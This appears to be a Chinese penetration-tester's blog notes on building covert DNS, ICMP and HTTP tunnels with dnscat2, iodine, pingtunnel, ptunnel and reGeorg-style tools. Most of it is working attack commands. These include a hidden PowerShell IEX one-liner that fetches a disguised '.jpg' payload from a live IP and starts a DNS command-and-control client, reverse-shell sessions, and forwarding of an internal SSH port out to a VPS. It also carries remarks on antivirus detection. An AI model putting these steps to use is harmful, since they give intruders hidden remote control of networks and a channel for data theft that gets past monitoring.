DNS&ICMP隧道测试
Lastmod: 2023-06-17

测试市面上的UDP ICMP隧道。

端口映射

SNAT和DNAT的实现

DNS隧道

dns2tcp、dnscat2、Iodine、OzymanDNS、SplitBrain、TCP overDNS、TUNS、DeNise、Heyoka

dnscat2

实现内网靶机的端口映射到公网、shell控制、文件下载等功能。

条件:一台公网IP的服务端,一个域名。

运行环境:攻击机需要安装ruby。客户端可以源码编译,但面临病毒查杀问题。

一、域名添加两条记录

  1. ns记录,log.allsec.top,值:ns1.allsec.top
  2. A记录,ns1.allsec.top,值:VPS的公网IP

即,log.allsec.top的子域名下所有DNS解析,将交给ns1.allsec.top服务器处理。

测试,在ns1.allsec.top(公网VPS)抓包DNS:

root@ns1.allsec.top:~$ tcpdump udp dst port 53

在任意本地发起解析请求:

root@local:~$ nslookup aaa.log.allsec.top

在ns1.allsec.top服务器,若tcpdump抓到对应的DNS请求,证明配置成功。

二、服务端-环境搭建

git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
apt install gem ruby-dev libpq-dev
gem install bundler
bundle config mirror.https://rubygems.org https://mirrors.tuna.tsinghua.edu.cn/rubygems
bundle install

三、客户端

下载二进制(不免杀)https://downloads.skullsecurity.org/dnscat2/

或编译源码

git clone https://github.com/iagox86/dnscat2
cd dnscat2/client
make

运行

./dnscat --secret=aaaa1111 log.allsec.top --delay 5000

四、服务端

1、服务端开启监听

cd dnscat2/server
sudo ruby dnscat2.rb log.allsec.top -c aaaa1111
#-c 代表密钥值

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2> 
#进入窗口1
dnscat2> window -i 1

#反弹powershell
dnscat2> exec psh

2、端口转发功能 #映射内网22端口到VPS服务器的2222端口

command (kali) 4> listen 2222 192.168.174.149:22

3、建立shell会话

command (kali) 1> shell
Sent request to execute a shell
command (kali) 1> 
New window created: 2
Shell session created!
New window created: 2

To go back, type ctrl-z.

切换到shell会话

dnscat2>
dnscat2> window -i 2

执行命令

sh (kali) 2> ip a
sh (kali) 2> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

dnscat2-powershell

服务端:

开启–no-cache,兼容powershell客户端。

sudo ruby dnscat2.rb log.allsec.top -c aaaa1111 --no-cache

客户端:

准备客户端的powershell脚本:https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1,上载到云服务器,改名为jpg后缀。

法一:(脚本不落地)

#Powershell IEX加载
IEX (New-Object System.Net.Webclient).DownloadString('http://114.132.230.157:9090/dnscat2-powershell.jpg')

#启动客户端
Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -PreSharedSecret aaaa1111
#-DNSServer参数指定解析NS服务器,按道理不用设置的,可能DNSPod的NS记录同步不到其他DNS服务提供商,-PreSharedSecret参数为密钥


#一句话(被杀了)估计是因为{powershell.exe -nop -w hidden -c}的结构
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('http://114.132.230.157:9090/dnscat2-powershell.jpg'); Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -PreSharedSecret aaaa1111}

法二:

下载dnscat2-powershell.ps1到目标机

powershell -exec bypass
Import-Module .\dnscat2-powershell.ps1
help dnscat2
Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -PreSharedSecret aaaa1111
#增加延迟、设置包大小上限,测试设置LookupTypes为A、AAAA记录会失败。
Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -MaxRandomDelay 5 -MaxPacketSize 180 -LookupTypes @("CNAME","MX","TXT") -PreSharedSecret aaaa1111

参考链接:

Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell

iodine

现成的二进制包:https://code.kryo.se/iodine/

C/S架构实现,客户端服务端间建立隧道互联。

条件:一台公网IP的服务端,一个域名。

运行环境:可以源码编译。

服务端:

环境搭建

git clone https://github.com/yarrick/iodine
cd iodine
make

运行服务端

cd iodine/bin
sudo ./iodined -f -c -P aaaa1111 172.16.110.110 log.allsec.top
#sudo ./iodined -f -c -P password tunnel_ip[/netmask] topdomain
#-f 保持前台运行, -P 密码,tunnel_ip[/netmask]为指定的隧道IP

在线检查配置是否成功,https://code.kryo.se/iodine/check-it/,输入域名log.allsec.top

客户端:

windows。

需要tun/tap虚拟网卡驱动,openvpn开源项目有tap驱动,以下链接下载安装。

tap-windows-realease:https://build.openvpn.net/downloads/releases/

面临网卡启动等netsh命令被杀毒拦截的问题。

管理员权限。

iodine.exe -f -P aaaa1111 ns1.allsec.top log.allsec.top
#iodine.exe -f -P password [nameserver] topdomain
#nameserver参数是DNS服务器。若不指定,则查找/etc/resolv.conf文件。nameserver is the IP number/hostname of the relaying nameserver. if absent, /etc/resolv.conf is used。
#topdomain是你的域名。topdomain is the FQDN that is delegated to the tunnel endpoint.

linux。

#指定直连DNS服务器,流量更明显
sudo ./iodine -f -P aaaa1111 ns1.allsec.top log.allsec.top
#不指定
sudo ./iodine -f -P aaaa1111 log.allsec.top

参考链接

推荐一款非常好用的:Windows 虚拟网卡接口驱动

Getting tap-windows releases - OpenVPN Community

Wintun

dns2tcp

https://salsa.debian.org/debian/dns2tcp

需要服务端是边界机(双网卡-公网IP+私网IP),客户端无要求。

apt install dns2tcp

ICMP隧道

ptunnel

ptunnel(8) - Linux man page

服务端

sudo ./ptunnel -udp

客户端

sudo ./ptunnel -p 114.132.230.157 -lp 8000 -da 114.132.230.157 -dp 8001 -c eth0 -udp

参考链接

内网渗透之内网穿透

pingtunnel

服务器端

sudo ./pingtunnel -type server

客户端

搭建客户端1999端口到VPS的9999端口隧道,其中1999端口为绑定监听,服务器端则是转发流量到9999端口,需要另外运行工具来监听9999端口。

sudo ./pingtunnel -type client -l :1999 -s 114.132.230.157 -t 114.132.230.157:9999 -tcp 1
sudo ./pingtunnel -type client -l :1999 -s 114.132.230.157 -t 114.132.230.157:9999 -tcp 1

内网通过隧道访问公网

通过ICMP+socks5隧道,客户端通过本地监听4455的socks5端口上网

sudo ./pingtunnel -type client -l :4455 -s 114.132.230.157 -sock5 1

proxychains curl cip.cc

参考文章:

ew+pingtunnel组合建立socks5隧道

HTTP隧道

sudo apt install python2-dev
python2 -m pip install pycrypto httplib2
python2 abpttsfactory.py -o webshell

2016年blackhat介绍: https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Github: https://github.com/nccgroup/ABPTTS

https://github.com/nccgroup/ABPTTS.git

reGeorg

2014年blackhat介绍 https://www.blackhat.com/eu-14/arsenal.html#regeorg Github: https://github.com/sensepost/reGeorg

HTTP tunnel for Node.js (https://github.com/johncant/node-http-tunnel)